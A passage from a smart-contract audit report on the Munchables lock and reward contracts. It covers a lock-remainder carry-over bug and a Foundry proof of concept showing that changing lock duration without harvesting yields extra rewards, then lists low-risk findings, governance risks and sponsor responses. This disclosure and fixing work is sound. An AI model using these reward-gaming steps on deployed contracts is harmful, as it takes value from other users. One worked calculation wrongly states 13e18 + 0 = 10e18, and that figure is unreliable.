• quantity = 5e18(_quantity) + 1e18 (lockedToken.remainder) = 6e18
• remainder = 6e18 % 3e18 = 0
• numberNFTs = (6e18 - 0) / 3e18 = 2

Updates to lockedToken struct and LockManager contract balance:

• lockedToken.remainder = remainder = 0
• lockedToken.quantity += _quantity = 5e18 + 5e18 = 10e18
• address(LockManager).balance = 10e18

In total, the player retrieves 5 NFTs (3 from the first locking + 2 from the second locking) by locking 10e18 tokens, benefiting from the remainder of the previous locking.

Fully Unlocking Case

1. Lock 13e18 (_quantity) tokens

as uint256 quantity = _quantity + lockedToken.remainder :: L344

The state updates as follows:

• quantity = 13e18(_quantity) + 0 (lockedToken.remainder) = 10e18
• remainder = 13e18 % 3e18 = 1e18
• numberNFTs = (13e18 - 1e18) / 3e18 = 4 📍

Updates to lockedToken struct and LockManager contract balance:

• lockedToken.remainder = remainder = 1e18 📍
• lockedToken.quantity += _quantity = 0 + 13e18 = 13e18 📍
• address(LockManager).balance = 13e18 📍

This shows that locking of 13e18 tokens can retrieve 4 NFTs.

After the lockDuration has passed, the player can unlock the locked tokens.

2. Unlock 13e18 tokens fully:
3. L416::lockedToken.quantity -= _quantity = 13e18 - 13e18 = 0 📍
4. address(LockManager).balance = 0 📍
5. Lock 11e18 tokens

as uint256 quantity = _quantity + lockedToken.remainder (prev remainder#1);

• quantity = 11e18(_quantity) + 1e18 (lockedToken.remainder) = 12e18
• remainder = 12e18 % 3e18 = 0
• numberNFTs = (12e18 - 0) / 3e18 = 4 📍

Updates to lockedToken and LockManager contract balance:

• lockedToken.remainder = remainder = 0 📍
• lockedToken.quantity += _quantity = 0 + 11e18 = 11e18 📍
• address(LockManager).balance = 11e18 📍

In total, the player retrieves 4 new NFTs from locking 11e18 tokens. Compared to the first locking of 13e18 tokens, the second lock yields similar power to gain 4 NFTs, benefiting from the remainder of the previous locking round.

Recommended Mitigation Steps

Manage the remaining tokens when the player unlocks locked tokens. Alternatively, use other methods to handling the total amount of NFTs and locked quantity during the lock drop.

Assessed type

Math

0xinsanity (Munchables) confirmed and commented:

Fixed

0xsomeone (judge) commented:

The Warden outlines a situation whereby the remainder of an account will not be properly maintained when unlocking a lock, permitting them to effectively carry over remainders that should otherwise not be accounted for.

While the vulnerability is present, its actual risk level is medium as the amounts involved would be insignificant and it would also imply that a user fully vested a minimum lock, and took advantage of the carried-over remainder in a second lock in the same “lockdrop”.

I selected this submission as the best given that it outlines the issue using a consumable step-by-step case. I would like to note that the mitigation cited by the Sponsor above is insufficient and the mitigation followed in #41 is the correct one.

Note: For full discussion, see here.

[M-04] User’s schnibbles rewards are not harvested in the setLockDuration function

Submitted by SpicyMeatball

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/BonusManager.sol#L136
https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/AccountManager.sol#L363-L387
https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L249

Impact

User rewards are not harvested during lock duration updates, leading to inconsistencies in accrued rewards between users.

Proof of Concept

In the current LockManager implementation, schnibbles rewards are harvested during lock and unlock calls.

    function _lock(
        address _tokenContract,
        uint256 _quantity,
        address _tokenOwner,
        address _lockRecipient
    ) private {
        ---SNIP---
        // they will receive schnibbles at the new rate since last harvest if not for force harvest
>>      accountManager.forceHarvest(_lockRecipient);

    function unlock(
        address _tokenContract,
        uint256 _quantity
    ) external notPaused nonReentrant {
        ---SNIP---
        // force harvest to make sure that they get the schnibbles that they are entitled to
>>      accountManager.forceHarvest(msg.sender);

Schnibbles reward rate depends on amount locked and the passed time.

    function getDailySchnibbles(
        address _caller
    ) public view returns (uint256 _dailySchnibbles, uint256 _bonus) {
>>      uint256 weightedValue = lockManager.getLockedWeightedValue(_caller);
        // Arbitrary division here... If we remove it, we just need to make sure we modify level thresholds, & social/pet bonuses
        _dailySchnibbles = (weightedValue / 10);
>>      _bonus = bonusManager.getHarvestBonus(_caller);
    }

    function _harvest(address _caller) private returns (uint256 _harvested) {
        (uint256 dailySchnibbles, uint256 bonus) = getDailySchnibbles(_caller);
        dailySchnibbles += ((dailySchnibbles * bonus) / 1e18);

        uint256 secondsToClaim = block.timestamp -
            players[_caller].lastHarvestDate;
        uint256 harvestedSchnibbles = (dailySchnibbles * secondsToClaim) /
            1 days;

        players[_caller].unfedSchnibbles += harvestedSchnibbles;
        players[_caller].lastHarvestDate = uint32(block.timestamp);

>>      _harvested = harvestedSchnibbles;

        emit Harvested(_caller, harvestedSchnibbles);
    }

There is also a bonus that depends on the user’s lock duration setting.

    function getHarvestBonus(
        address _caller
    ) external view override returns (uint256) {
        uint256 weightedValue = _lockManager.getLockedWeightedValue(_caller);
        ILockManager.PlayerSettings memory _settings = _lockManager
            .getPlayerSettings(_caller);
        uint256 _migrationBonus;
        if (block.timestamp < migrationBonusEndTime) {
            _migrationBonus = _calculateMigrationBonus(_caller, weightedValue);
        }
        return
>>          _calculateLockBonus(_settings.lockDuration) +
            _migrationBonus +
            _calculateLevelBonus(_caller) +
            _calculateMunchadexBonus(_caller);
    }

Users have an option to change their lock duration during ongoing locks.

    function setLockDuration(uint256 _duration) external notPaused {
        if (_duration > configStorage.getUint(StorageKey.MaxLockDuration))
            revert MaximumLockDurationError();

>>      playerSettings[msg.sender].lockDuration = uint32(_duration);

The issue arises when user rewards are not harvested before the update. This leads the protocol to assume that the user had the updated duration from the beginning of the lock, resulting in incorrect reward calculations.

Coded POC for SpeedRun.t.sol:

    function test_Reward() public {
        address alice = address(0xa11ce);
        vm.deal(alice, 100e18);

        uint256 lockAmount = 100e18;

        console.log("Beginning run()");
        deployContracts();

        // register me
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        vm.prank(alice);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        logSnuggery("Initial snuggery");

        // lock tokens
        lm.lock{value: lockAmount}(address(0), lockAmount);
        vm.prank(alice);
        lm.lock{value: lockAmount}(address(0), lockAmount);

        vm.warp(30 days);
        // Player 0 harvests while Player 1 does nothing
        amp.harvest();

        lm.setLockDuration(60 days);
        vm.prank(alice);
        lm.setLockDuration(60 days);
        vm.warp(60 days + 1);
        
        lm.unlock(address(0), lockAmount);
        vm.prank(alice);
        lm.unlock(address(0), lockAmount);
        (, MunchablesCommonLib.Player memory player0) = amp.getPlayer(address(this));
        (, MunchablesCommonLib.Player memory player1) = amp.getPlayer(alice);
        console.log("SHCHNIBBLES PLAYER0: ", player0.unfedSchnibbles);
        console.log("SHCHNIBBLES PLAYER1: ", player1.unfedSchnibbles);
    }

In the provided test case, two players lock a similar amount of tokens for the same duration and then update it. Player 0 harvests rewards before duration update, while Player 1 does not. This scenario leads to a discrepancy in rewards.

  SHCHNIBBLES PLAYER0:  22575000607638888888888888888
  SHCHNIBBLES PLAYER1:  24150000000000000000000000000

Tools Used

Foundry

Recommended Mitigation Steps

Harvest user rewards before updating lock duration:

    function setLockDuration(uint256 _duration) external notPaused {
        if (_duration > configStorage.getUint(StorageKey.MaxLockDuration))
            revert MaximumLockDurationError();
+       accountManager.forceHarvest(msg.sender);
        playerSettings[msg.sender].lockDuration = uint32(_duration);

0xinsanity (Munchables) commented:

Fixed

0xsomeone (judge) confirmed and commented:

The submission outlines a discrepancy in the rewards a user will acquire due to the update of an account’s lock duration, and thereby the update of all their existing locks, not claiming Schnibble rewards and thus not updating the relevant entries in the AccountManager.

The vulnerability effectively permits users to change their lock duration and acquire more rewards than they would normally receive as the update would retroactively apply to existingly-vested rewards. I believe a medium risk rating is fair as rewards would be distributed at a higher rate than expected and the problem can be capitalized maliciously.

0xinsanity (Munchables) confirmed

Low Risk and Non-Critical Issues

For this audit, 7 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by MrPotatoMagic received the top score from the judge.

The following wardens also submitted reports: Bauchibred, Walter, merlinboii, bigtone, 0xAkira, and Deivitto.

Low-severity issues

[L-01] Missing setter function to change config storage contract in LockManager

Link to instance

Currently it is possible to reconfigure the BaseBlastManager state (inherited by LockManager) by using the configUpdated() function. But it is not possible to change the config storage contract using the _BaseConfigStoragesetConfigStorage() internal function existing in the BaseBlastManager.

We can see that on Line 62 of the constructor, the config storage contract is set by calling the _BaseConfigStoragesetConfigStorage() internal function. But following that if the config storage contract needs to be changed, it is not possible to do so since the internal function has not been exposed in the LockManager contract.

It’s unlikely the team might want to change the config contract itself but it would be good to leave the option open in case it ever needs to be changed.

File: LockManager.sol
60:     constructor(address _configStorage) {
61:        
62:         __BaseConfigStorage_setConfigStorage(_configStorage);
63:         _reconfigure();
64:     }

File: LockManager.sol
87:     function configUpdated() external override onlyConfigStorage {
88:         _reconfigure();
89:     }

[L-02] Missing minLockDuration validations in function configureLockdrop()

Link to instance

First validation: The function should ensure _lockdropData.end - _lockdropData.start >= _lockdropData.minLockDuration. This ensures the lockdrop event is longer than the minimum lock times user need to lock their tokens for.

Second validation: The function should ensure _lockdropData.minLockDuration < configStorage.getUint(StorageKey.MaxLockDuration). This ensure function setLockDuration() does not revert due to the check here and lock() as well due to the check here.

File: LockManager.sol
099:     function configureLockdrop(
100:         Lockdrop calldata _lockdropData
101:     ) external onlyAdmin {
102:         if (_lockdropData.end < block.timestamp)
103:             revert LockdropEndedError(
104:                 _lockdropData.end,
105:                 uint32(block.timestamp)
106:             ); // , "LockManager: End date is in the past");
107:         if (_lockdropData.start >= _lockdropData.end)
108:             revert LockdropInvalidError();
109:         
111:         lockdrop = _lockdropData;
112: 
113:         emit LockDropConfigured(_lockdropData);
114:     }

[L-03] Configured token decimals are not validated against token’s decimals() function

Link to instance

The function does not validate _tokenData.decimals for the _tokenContract against the ERC20 decimals() function of the token. This validation should be put in place to not only avoid human errors but also to avoid manipulation of schnibbles calculation (see second point in Admin powers section for specific scenario on this).

File: LockManager.sol
119:     function configureToken(
120:         address _tokenContract,
121:         ConfiguredToken memory _tokenData
122:     ) external onlyAdmin {
123:         if (_tokenData.nftCost == 0) revert NFTCostInvalidError();
124:         if (configuredTokens[_tokenContract].nftCost == 0) {
125:             // new token
126:             
127:             configuredTokenContracts.push(_tokenContract);
128:         }
129:         
131:         configuredTokens[_tokenContract] = _tokenData;
132: 
133:         emit TokenConfigured(_tokenContract, _tokenData);
134:     }

[L-04] Missing notPaused() modifier on functions proposeUSDPrice(), approveUSDPrice(), disapproveUSDPrice()

Functions proposeUSDPrice(), approveUSDPrice(), disapproveUSDPrice() are missing the notPaused() modifier on them. This allows the price feed role to update the prices of tokens even when locks and unlocks are paused. There does not seem to be a risk associated with this but it would be better to avoid changes in token prices while the protocol is paused. This does not cause any harm as well since once the protocol wants to unpause, the team can make a pause + update prices batched call to ensure users do not profit or are affected from the previous stale price.

[L-05] Incorrect use of only one price for all token contracts

Link to instance

The function proposeUSDPrice() incorrectly uses only one price for all token contracts. This is incorrect since token contracts e.g. WETH and USDB have different USD prices. This can cause prices to be set incorrectly for token contracts and thus weighted value of the locked tokens during schnibble calculation ends up being incorrect.

The issue is being marked as low since although the functionality of the protocol is impacted, the root cause arises from the assumption that price feed roles are not aware that all token contracts share the same price and pass in incorrect parameters.

Solution: Either take in a single token contract as the input parameter or multiple prices i.e. an array as done with the _contracts parameter currently.

File: LockManager.sol
146:     function proposeUSDPrice(
147:         uint256 _price,
148:         address[] calldata _contracts
149:     )

[L-06] Prices can be proposed for inactive tokens

Link to instance

The function proposeUSDPrice() does not check if a token contract is inactive. This allows the price feed role to update the prices for tokens that have been marked as inactive by the admin.

Solution: In _execUSDPriceUpdate(), consider checking inactive tokens and skip their price updates.

File: LockManager.sol
144:     function proposeUSDPrice(
145:         uint256 _price,
146:         address[] calldata _contracts
147:     )
148:         external
149:         onlyOneOfRoles(
150:             [
151:                 Role.PriceFeed_1,
152:                 Role.PriceFeed_2,
153:                 Role.PriceFeed_3,
154:                 Role.PriceFeed_4,
155:                 Role.PriceFeed_5
156:             ]
157:         )
158:     {   
159:        
160:         if (usdUpdateProposal.proposer != address(0))
161:             revert ProposalInProgressError();
162:         if (_contracts.length == 0) revert ProposalInvalidContractsError();
163: 
164:         delete usdUpdateProposal;
165: 
166:         // Approvals will use this because when the struct is deleted the approvals remain
167:         ++_usdProposalId;
168: 
169:         usdUpdateProposal.proposedDate = uint32(block.timestamp);
170:         usdUpdateProposal.proposer = msg.sender;
171:         usdUpdateProposal.proposedPrice = _price;
172:         usdUpdateProposal.contracts = _contracts;
173:         usdUpdateProposal.approvals[msg.sender] = _usdProposalId; 
174:         usdUpdateProposal.approvalsCount++;
175: 
176:         emit ProposedUSDPrice(msg.sender, _price);
177:     }

[L-07] Function approveUSDPrice() does not validate if price feed approves prices for the same token contract

Link to instance

The function approveUSDPrice() does not check if price feed roles are approving the price of the correct token contract (i.e. usdUpdateProposal.contracts). Due to this, if two token contracts have the same price (e.g. ETH and WETH), it does not check if the price being approved is actually for ETH or WETH i.e. the respective token contract price was proposed for. The same issue exists in disapproveUSDPrice().

File: LockManager.sol
181:     function approveUSDPrice(
182:         uint256 _price
183:     )
184:         external
185:         onlyOneOfRoles(
186:             [
187:                 Role.PriceFeed_1,
188:                 Role.PriceFeed_2,
189:                 Role.PriceFeed_3,
190:                 Role.PriceFeed_4,
191:                 Role.PriceFeed_5
192:             ]
193:         )
194:     {
195:         if (usdUpdateProposal.proposer == address(0)) revert NoProposalError();
196:         
197:         if (usdUpdateProposal.proposer == msg.sender)
198:             revert ProposerCannotApproveError();
199:         if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId)
200:             revert ProposalAlreadyApprovedError();
201:         if (usdUpdateProposal.proposedPrice != _price)
202:             revert ProposalPriceNotMatchedError();
203: 
204:         usdUpdateProposal.approvals[msg.sender] = _usdProposalId;
205:         usdUpdateProposal.approvalsCount++;
206: 
207:         if (usdUpdateProposal.approvalsCount >= APPROVE_THRESHOLD) {
208:             _execUSDPriceUpdate();
209:         }
210: 
211:         emit ApprovedUSDPrice(msg.sender);
212:     }

[L-08] Missing minLockDuration check in function setLockDuration()

Link to instance

As we can see below, function setLockDuration() only checks for MaxLockDuration and not minLockDuration. This is problematic since users can set _duration to be lower than the minimum. This has no problem outside the lockdrop event since the minimum lock duration is only specific to lockdrop events. In the lockdrop though, the calls would revert for users having lock times less than the minimum due to this check here. This is not a big issue since users can just extend their lock durations to the minLockDuration. Enforcing the minimum check would be helpful though.

File: LockManager.sol
249:     function setLockDuration(uint256 _duration) external notPaused {
250:         if (_duration > configStorage.getUint(StorageKey.MaxLockDuration))
251:             revert MaximumLockDurationError();
252: 

Solution: Check if the _duration parameter passed by user is greater than equal to minLockDuration, only if lockdrop event has started i.e. block.timestamp is greater than start and less than end time of the lockdrop event. This would ensure users are not forced to extend their lock times to minLockDuration when there is no lockdrop occurring and users are locking tokens just for schnibbles earning.

[L-09] Function getLockedWeightedValue() does not account for duration in schibbles calculation

Link to instance

This function is used by the AccountManager contract to calculate the schnibbles earned by the user for the tokens they locked. The issue is that the lockedWeight does not seem to consider the time duration the user has locked their tokens for. This means that the schnibbles the user currently receives is just based on the price and quantity they deposited.

I’m not sure if this is the intended behaviour or not since the AccountManager contract here calculates a bonus through the BonusManager which uses user’s lock time - see here.

Raising this issue to bring the sponsor’s attention i.e. whether weighted value should be time weighted or not since a user locking tokens for longer has no benefit for the schnibble calculation.

File: LockManager.sol
477:     function getLockedWeightedValue(
478:         address _player
479:     ) external view returns (uint256 _lockedWeightedValue) {
480:         uint256 lockedWeighted = 0;
481:         uint256 configuredTokensLength = configuredTokenContracts.length;
482:         for (uint256 i; i < configuredTokensLength; i++) {
483:             if (
484:                 lockedTokens[_player][configuredTokenContracts[i]].quantity >
485:                 0 &&
486:                 configuredTokens[configuredTokenContracts[i]].active
487:             ) {
488:                 // We are assuming all tokens have a maximum of 18 decimals and that USD Price is denoted in 1e18
489:                 
490:                 uint256 deltaDecimal = 10 **
491:                     (18 -
492:                         configuredTokens[configuredTokenContracts[i]].decimals);
493:                 
494:                 lockedWeighted +=
495:                     (deltaDecimal *
496:                         lockedTokens[_player][configuredTokenContracts[i]]
497:                             .quantity *
498:                         configuredTokens[configuredTokenContracts[i]]
499:                             .usdPrice) /
500:                     1e18;
501:             }
502:         }
503: 
504:         _lockedWeightedValue = lockedWeighted;
505:     }

[L-10] Negative rebase can tap into other user’s tokens when a user unlocks

Link to instance

If the configured token contract being used is a rebasing token that negatively rebases, the protocol can cause loss of funds to users. This is because when the overall balance of the contract decreases, the quantity being used for withdrawals on Line 424 is based on the time the the tokens were locked. Due to this, the user unlocking can receive more tokens than needed, causing loss to other users.

The blast docs here mention that the rebasing for ETH, WETH and USDB is increasing and never decreases. But if future tokens that rebase negatively exist, this issue exists.

File: LockManager.sol
409:     function unlock(
410:         address _tokenContract,
411:         uint256 _quantity
412:     ) external notPaused nonReentrant {
413:         LockedToken storage lockedToken = lockedTokens[msg.sender][
414:             _tokenContract
415:         ];
416:         if (lockedToken.quantity < _quantity)
417:             revert InsufficientLockAmountError();
418:         if (lockedToken.unlockTime > uint32(block.timestamp))
419:             revert TokenStillLockedError();
420: 
421:         // force harvest to make sure that they get the schnibbles that they are entitled to
422:         accountManager.forceHarvest(msg.sender);
423: 
424:         lockedToken.quantity -= _quantity;
425: 
426:         // send token
427:         if (_tokenContract == address(0)) {
428:             payable(msg.sender).transfer(_quantity);
429:         } else {
430:             IERC20 token = IERC20(_tokenContract);
431:             token.transfer(msg.sender, _quantity);
432:         }
433: 
434:         emit Unlocked(msg.sender, _tokenContract, _quantity);
435:     }

[L-11] Users can force receive schnibbles by making 0 value lock() or lockOnBehalfOf() calls

Link to instance

As discussed in my only High-severity issue, it is possible for anyone to make 0 quantity lock() or lockOnBehalfOf() calls. This allows users or an attacker to force users to receive their schnibbles at any time without requiring to lock tokens or unlock them.

[L-12] Disallow users from extending their lock durations for inactive tokens

Link to instance

Users should not be allowed to extend durations for their existing locks for tokens that have been deactivated by the admin. The users should instead be forced to leave the system with the token for safer side since tokens can be deactivated for any reason and should not exist in the LockManager for long once deactivated.

Governance risks

Roles/Actors in the system

• Admin
• Config storage contract (indirectly controlled by onlyOwner modifier)
• 5 Price feed roles

Admin powers

• configureLockdrop() - Allows admin to change the start, end and minimum duration for a lockdrop event. The minimum duration can be changed during an ongoing lockdrop event as well. The risk associated with this is that if the minLockDuration is increased, existing locks using the lock durations less than the increased minLockDuration will not be able to lock their tokens due to this check here. This can force them to extend their lock times through setLockDuration().
• configureToken() - Allows admin to activate/deactivate a token contract and set the nftCost in terms of the token for the lockdrop and the token decimals. The first risk associated is that the admin can set the nftCost to a lower or higher value to favour some users or themselves over the others. The second risk associated is that token decimals can be decreased or increased to provide higher or lower schnibbles to specific users on lock() and unlock() operations that forceHarvest() these schnibbles and use getLockedWeightedValue() for the calculation. For example, admin can change decimals to 1e18 for a token with 6 decimals. Assuming the user deposited 1 token and usdPrice = 1e18, the weighted value = 1 * 1e6 * 1e18 / 1e18 = 1e6. We can see that instead of a delta decimal of 1e12, we use 1, thus causing loss to the users. The opposite can be done to increase the schnibbles to favour other users. The third risk associated is that the admin can activate and deactivate the token at any time, thus DOSing users from locking tokens. Lastly, the admin can push a lot of contracts to the configuredTokenContracts array to cause DOS to not only the price feed approvals/disapprovals but also lock and unlock mechanisms since they use getLockedWeightedValue() for schnibbles calculation and loop through the configured token contracts array.
• setUSDThresholds() - Allows admin to increase or decrease the approval and disapproval threshold. This could be used along with the price feed roles to approve and manipulate the price against other price feed roles’ decision.

Config Storage contract powers

• configUpdated() - This function is only callable by the config storage contract to reconfigure the state in the BaseBlastManager contract. The call from the config storage contract originates from functions having the onlyOwner() modifier though. Due to this, there is a possible centralization risk, where reconfigurations could occur at any time.

Price feed role powers

• proposeUSDPrice() - Either of the 5 price feed role addresses can propose any price for any token contract. This price can be manipulated and can be different from the actual price since there is no rate limit as well as validation mechanism onchain. This can affect the schnibbles users receive. The safety net is that this requires approval from 2 more price feed roles, which is still relatively easy if three price feed roles conjoin.
• approveUSDPrice() and disapproveUSDPrice() - Allows price feed roles to either approve or disapprove prices proposed by a price feed role.

Non-Critical issues

[N-01] Snuggery manager variable is never used in LockManager

Link to instance

File: LockManager.sol
75:         snuggeryManager = ISnuggeryManager(
76:             configStorage.getAddress(StorageKey.SnuggeryManager)
77:         );

[N-02] Consider removing redundant check from function approveUSDPrice()

Link to instance

The check on Line 196 is not necessary. This is because the check on Line 198 ensures that the proposer cannot approve the price one again (Context: The price feed’s approval is counted during proposal itself - see here).

File: LockManager.sol
180:     function approveUSDPrice(
181:         uint256 _price
182:     )
183:         external
184:         onlyOneOfRoles(
185:             [
186:                 Role.PriceFeed_1,
187:                 Role.PriceFeed_2,
188:                 Role.PriceFeed_3,
189:                 Role.PriceFeed_4,
190:                 Role.PriceFeed_5
191:             ]
192:         )
193:     {
194:         if (usdUpdateProposal.proposer == address(0)) revert NoProposalError();
195:         
196:         if (usdUpdateProposal.proposer == msg.sender)
197:             revert ProposerCannotApproveError();
198:         if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId)
199:             revert ProposalAlreadyApprovedError();

[N-03] Consider removing auto approval mechanism on price proposal

Link to instance

Currently the proposer is denied from disapproving the price on their own proposal. The price feed who is the proposer should be allowed to perform disapprovals and approvals separately from their proposal. This would make the process more modular and separate instead of auto approving during proposal itself as seen here.

Solution: This solution separates the proposing and approving/disapproving on the proposal, which allows the proposer to either approve or disapprove on their price proposed. They can disapprove in case the price proposed is incorrect.

1. Remove these two lines from proposeUSDPrice() function:

   File: LockManager.sol
   171:         usdUpdateProposal.approvals[msg.sender] = _usdProposalId; 
   172:         usdUpdateProposal.approvalsCount++;

2. Remove this check from the approveUSDPrice() function:

   File: LockManager.sol
   195:         if (usdUpdateProposal.proposer == msg.sender)
   196:             revert ProposerCannotApproveError();

[N-04] Consider removing redundant checks from function _execUSDPriceUpdate()

Link to instance

The first check can be removed since _execUSDPriceUpdate() is only executed if approval threshold is met as seen here.

The second check can be removed since disapprovalsCount will always be less than the DISAPPROVE_THRESHOLD. Because if it was not, the proposal would’ve been deleted already - see here.

File: LockManager.sol
525:         if (
526:             usdUpdateProposal.approvalsCount >= APPROVE_THRESHOLD &&
527:             usdUpdateProposal.disapprovalsCount < DISAPPROVE_THRESHOLD
528:         ) {

0xinsanity (Munchables) commented:

[L-01] This is on purpose. ConfigStorage should never be changed.
[L-02] Acknowledged.
[L-03] Acknowledged.
[L-04] This is on purpose. Pausing is only meant for gameplay, not admin functions.
[L-05] This is an incorrect interpretation of the function. Prices are meant to be set one token address at a time. The only reason we have an array there is so that we can set WETH and ETH at the same time.
[L-06] Acknowledged
[L-07] I don’t understand this critique.
[L-08] Acknowledged.
[L-09] Acknowledged. We only calculate based on what is left.
[L-11] Acknowledged. We have no plans to support tokens like that.
[L-12] lockOnBehalf has been locked down to only allow for MigrationManager calls. Calling force harvest does the same as the user calling harvest so it doesn’t matter.
[L-13] Acknowledged.

[N-01] Acknowledged.
[N-02] Acknowledged.
[N-03] Acknowledged.
[N-04] Acknowledged.

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.